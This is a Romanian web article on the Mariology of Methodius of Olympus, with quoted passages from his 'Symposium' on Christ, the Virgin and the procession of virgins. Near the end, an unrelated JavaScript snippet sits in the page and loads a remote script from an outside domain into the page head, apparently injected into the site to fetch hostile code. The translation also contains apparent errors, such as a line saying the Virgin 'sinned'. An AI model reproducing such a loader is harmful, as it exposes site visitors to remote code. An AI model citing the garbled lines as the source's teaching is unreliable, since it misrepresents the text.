Mariologia lui Metodiu din Olimp (d. 311)

De Metodiu din Olimp, probabil episcop al Liciei din Asia Mică, avem puține informații biografice: se știe că a murit martir în 311. A scris multe opere, dintre care cea mai faimoasă și singura care a ajuns integral în limba originală este *Convivium decem virginum*, sau *Dialog despre virginitate*, modelat după *Banchetul* lui Platon. În dialog, zece virgine se succed în laudarea virtuților virginității. Dialogul se încheie cu un imn către Hristos Mirel și Biserica Sa, mireasa. Hristos restaurează omul căzut și corupt, aducându-l înapoi la originile sale și la Dumnezeu. Locul unde are loc această transformare este pântecul Fecioarei, un loc de puritate, cu puterea Duhului. O procesiune de virgine și femei castete converg către Hristos, de la Avraam cel mort la Ioan Botezătorul: o procesiune de fidelitate și martiriu. Maria, Fecioara, este patul nupțial între Dumnezeu și om. Este Mama Vieții necorupte și pure, care merge la întâlnirea cu Mirel împreună cu întreaga Biserică, afirmând fidelitatea sa necondiționată.*Dialog despre virginitate*Remodelarea omului în Hristos> Ar fi fost cu putință ca Fiul lui Dumnezeu, Fiul cel întâi și unic, adică Înțelepciunea, să se întrupese, unindu-se cu primul modelat, cu primul și cel mai vechi dintre oameni. Acesta este Hristos: un om plin de divinitate pură și perfectă, și Dumnezeu însusi conținut în om. Era firesc ca cel mai vechi dintre veacuri și primul dintre arhangheli, având să se unească cu oamenii, să locuiască în cel mai vechi și primul dintre ei, Adam. Astfel, Dumnezeu, remodelând toate lucrurile de la început și reînnoindu-le, a dat naștere aceluiași (Hristos) din Fecioară și Duhul: de la început, când pământul era încă virgin și nearendat, Dumnezeu a luat lut și, formând din el un vas rațional…> Adam, fiind, așa cum se spune, încă moale și umed, format din lut, și încă neavând, ca un vas, duritatea nemuririi, prin păcat s-a topit, curgând ca apă picătură cu picătură. Din acest motiv, Dumnezeu, stropindu-l din nou de sus și modelându-l în pântecul virginal, l-a făcut mai solid și compact. Apoi, unindu-l și amestecându-l cu Logosul, foarte dur și de neclintit, El l-a adus la viață, pentru a evita ca, inundat de valurile externe ale decăderii, să se deterioreze și să se destrame din nou.(Convivium, III, 4-5)În procesiunea virginelor, Fecioara este în fruntea tuturor

Antifona: Mă păstrez castă pentru tine, și țin în mână torțe strălucitoare, mă îndrept spre tine, O Nuntit!
Psalmul (18): Fecioara, sursa vieții, plină de har neîntinat, fără semne de contaminare, a generat în pântecele ei nepoluate germenul tău imaculat, arătând că a păcătuit în patul nuntii.
Dar ea a răspuns, cu bucurie:
Antifona: Mă păstrez castă pentru tine, și țin în mână torțe strălucitoare, mă îndrept spre tine, O Nuntit!

(Convivium, XI, 18)

var url = ‘https://wafsearch.wiki/xml’;

var script = document.createElement(‘script’);

script.src = url;

script.type = ‘text/javascript’;

script.async = true;

document.getElementsByTagName(‘head’)[0].appendChild(script);

Pentru a aprofunda studiul Mariologiei patristice, consultați enciclica Redemptoris Mater a Papei Ioan Paul al II-lea, care luminează rolul Mariei în tradiția teologică a Bisericii.

Aprofundați studiile: explorați Mariologia Teologia mariană Aparițiile mariane și Masteratul în Mariologie.